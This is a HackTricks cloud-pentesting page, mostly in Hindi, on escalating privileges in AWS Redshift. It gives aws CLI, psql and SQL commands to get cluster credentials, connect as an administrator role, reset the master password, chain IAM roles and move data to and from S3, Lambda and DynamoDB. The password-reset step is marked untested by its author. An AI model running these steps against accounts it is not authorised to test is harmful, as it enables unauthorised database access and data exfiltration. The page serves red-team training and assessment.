AWS - Redshift Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Redshift

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

इन अनुमतियों के साथ आप सभी क्लस्टर्स की जानकारी (नाम और क्लस्टर उपयोगकर्ता नाम सहित) प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

इन अनुमतियों के साथ आप सभी क्लस्टर्स की जानकारी प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए credentials प्राप्त कर सकते हैं.
ध्यान दें कि postgres user के पास वे IAM identity की permissions होंगी जिनका उपयोग credentials प्राप्त करने के लिए किया गया था.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potential Impact: डेटाबेस के अंदर संवेदनशील जानकारी मिल सकती है।

redshift:DescribeClusters, redshift:ModifyCluster?

aws cli से internal postgres (redshit) user का master password बदलना संभव है (मुझे लगता है कि इन्हीं permissions की आवश्यकता होगी लेकिन मैंने अभी तक इन्हें टेस्ट नहीं किया है):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potential Impact: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

बाहरी सेवाओं तक पहुँच

Warning

इन सभी संसाधनों तक पहुँचने के लिए, आपको उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी। एक Redshift cluster AWS roles की सूची असाइन कर सकता है जिसे आप उपयोग कर सकते हैं यदि आप ARN जानते हैं या आप बस “default” सेट करके असाइन किए गए डिफ़ॉल्ट का उपयोग कर सकते हैं।

Moreover, as explained here, Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just कॉमा से अलग करके them: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, यह संभव है कि आप call a lambda function from redshift कुछ इस तरह से:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, यह संभव है कि S3 buckets में पढ़ना और लिखना:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html में समझाया गया है, यह संभव है कि आप dynamodb से डेटा प्राप्त कर सकते हैं:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Warning

डेटा प्रदान करने वाली Amazon DynamoDB तालिका उसी AWS Region में बनाई जानी चाहिए जहाँ आपका क्लस्टर है, सिवाय इसके कि आप Amazon DynamoDB तालिका किस AWS Region में स्थित है यह निर्दिष्ट करने के लिए REGION विकल्प का उपयोग करते हैं।

EMR

देखें https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें